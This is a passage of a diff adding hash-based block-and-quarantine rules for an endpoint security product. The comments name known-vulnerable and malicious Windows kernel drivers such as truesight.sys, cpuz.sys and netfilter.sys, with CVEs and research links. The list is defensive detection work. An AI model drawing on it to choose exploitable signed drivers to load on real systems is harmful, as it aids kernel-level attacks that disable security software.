+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8f1ec12-08ea-577f-820f-ec3ecde62bc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153424Z",
+  "creation_date": "2026-03-23T11:45:31.153427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8908a5eea68b2671143bd4f5e87d941fbf037693b7bdf20a3fa10783d0061e5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8f64da6-f191-521d-ad8e-adfa0bee29ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146911Z",
+  "creation_date": "2026-03-23T11:45:31.146913Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d32183f339f98b5d4d3e6b729c75bb354d9220500fe93c4f169be22b1bde50a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8fc34a8-268b-5af5-bdfa-3daf4597ceaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484302Z",
+  "creation_date": "2026-03-23T11:45:31.484305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484314Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c318bdbf026513af53c16b81e77e1bb37c98b78e1b78d23f1abb6257c60ad29",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c8fef551-ae86-5821-8a81-294147a66fd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474118Z",
+  "creation_date": "2026-03-23T11:45:30.474122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b32ef857f7603af679fb794432c9c1ecab0ca7a0ac2ae4dd4fd5e80e05d8bb30",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c901489a-86a3-5c9f-8563-524806a96cbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967746Z",
+  "creation_date": "2026-03-23T11:45:29.967748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55881408b405194f63c04de52b1701d964f942ac191ed1fc2e572159e7e94476",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c908ac86-caa8-5135-80a2-0e3f2bbe39b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981995Z",
+  "creation_date": "2026-03-23T11:45:29.981997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd243e33fa80f4bd6010c23ecdf94b6008fee30df248255dcfe014c91f2ce2af",
+  "comment": "Malicious Kernel Driver (aka wantd_6.sys) [https://www.loldrivers.io/drivers/127cde1d-905e-4c67-a2c3-04ea4deaea7d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c919dafb-bf72-5844-b498-5993d9ca714f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825751Z",
+  "creation_date": "2026-03-23T11:45:31.825753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4f002bfa2eca3bd8f1940c4f8dcefe4db1934d50bd8612eafe6244b1fff9884",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c924f8df-5475-58cd-a569-1ee79a407ba9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475387Z",
+  "creation_date": "2026-03-23T11:45:30.475390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40263b08b3c3659529ab605d1daa3033db0fdc4b19c26aa375be0c19686807e6",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotnap.sys) [https://www.loldrivers.io/drivers/75a66604-f024-4f11-8ba7-fdd64a0df3bf/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9547e16-86aa-560f-bd9f-1fecc37c2810",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487576Z",
+  "creation_date": "2026-03-23T11:45:31.487578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74a3e72507f758e4d2eca2462db3a24e59d6cec48d7f9600b9f40c09a385d395",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c95bd541-e9c1-5dee-bbc4-c1c2e720ab6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473281Z",
+  "creation_date": "2026-03-23T11:45:30.473284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8ffe83919afc08a430c017a98e6ace3d9cbd7258c16c09c4f3a4e06746fc80a",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c95c795d-cc4e-56f3-851b-de98a8abc372",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618659Z",
+  "creation_date": "2026-03-23T11:45:29.618661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2f5db10a59577aeff8550a58f9d96ce8aa8c1a13f96814cd0f4bb03274968e9",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c964705f-238e-53ef-a9bc-bcc741943241",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819390Z",
+  "creation_date": "2026-03-23T11:45:31.819394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82fead4660edf201ea2af810fe6e1df22636c736b5165575b5f4a6ad5a4a050d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c96bdbfb-02fe-5bfd-a6bd-8cef6855df6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614334Z",
+  "creation_date": "2026-03-23T11:45:29.614336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614341Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9738c1d-b259-59fd-9d8f-f32e49189254",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155770Z",
+  "creation_date": "2026-03-23T11:45:31.155772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "887c3e1fb16b423a347fe8e9f46fd67ba7fab3f757d81c834cb26cc3ef7104cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c97e7f4a-062d-550d-a4e8-ef0741e45ca4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818631Z",
+  "creation_date": "2026-03-23T11:45:30.818633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9919d1546c7dfef62ff01b87f739812de0a57463611c12012013ae689023ce1",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9815b78-1b4f-523b-bccc-81d635dd7a50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835537Z",
+  "creation_date": "2026-03-23T11:45:30.835539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec22aea52bdb4195c2f898a8ad3604493bdc28497e7c5ad12a08bc92c8748461",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c990cedd-13f3-590f-9cae-1aaa570c12b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146114Z",
+  "creation_date": "2026-03-23T11:45:31.146116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2a48a71d21867d3d1406a6d82c239b857f3c3c5598389869753ec911847d95a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c99eeea0-6fe0-5d5d-9030-941f3562a441",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821272Z",
+  "creation_date": "2026-03-23T11:45:30.821275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a34e45e5bbec861e937aefb3cbb7c8818f72df2082029e43264c2b361424cbb1",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c99f9cb2-2b43-5bee-98d2-3deb3d30b994",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822836Z",
+  "creation_date": "2026-03-23T11:45:30.822838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3d1bdd4ad819b99870b6e2ed3527dfc0e3ce27b929ad64382b9c3d4e332315c",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9a96a76-d53d-59a3-82bd-8825a5601dbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820668Z",
+  "creation_date": "2026-03-23T11:45:30.820670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5aee1bae73d056960b3a2d2e24ea07c44358dc7bc3f8ac58cc015cccc8f8d89c",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9b0b0cf-05ab-5fa8-b972-c94d650a610b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827786Z",
+  "creation_date": "2026-03-23T11:45:30.827788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5747b57c3bcd4ddcc84876b1c298e9ff8b6a91831217a1d0d6a1d73567f5aae1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9b5dadc-7bbe-5443-9efe-3a22f1750015",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479862Z",
+  "creation_date": "2026-03-23T11:45:31.479866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479893Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb9c54dea38d847c00d0ec7195b5b8fe0326ae4922c6c84b1e4c29acc7507c16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c9b7be35-5e2a-54e7-b77d-b48ce2fe6831",
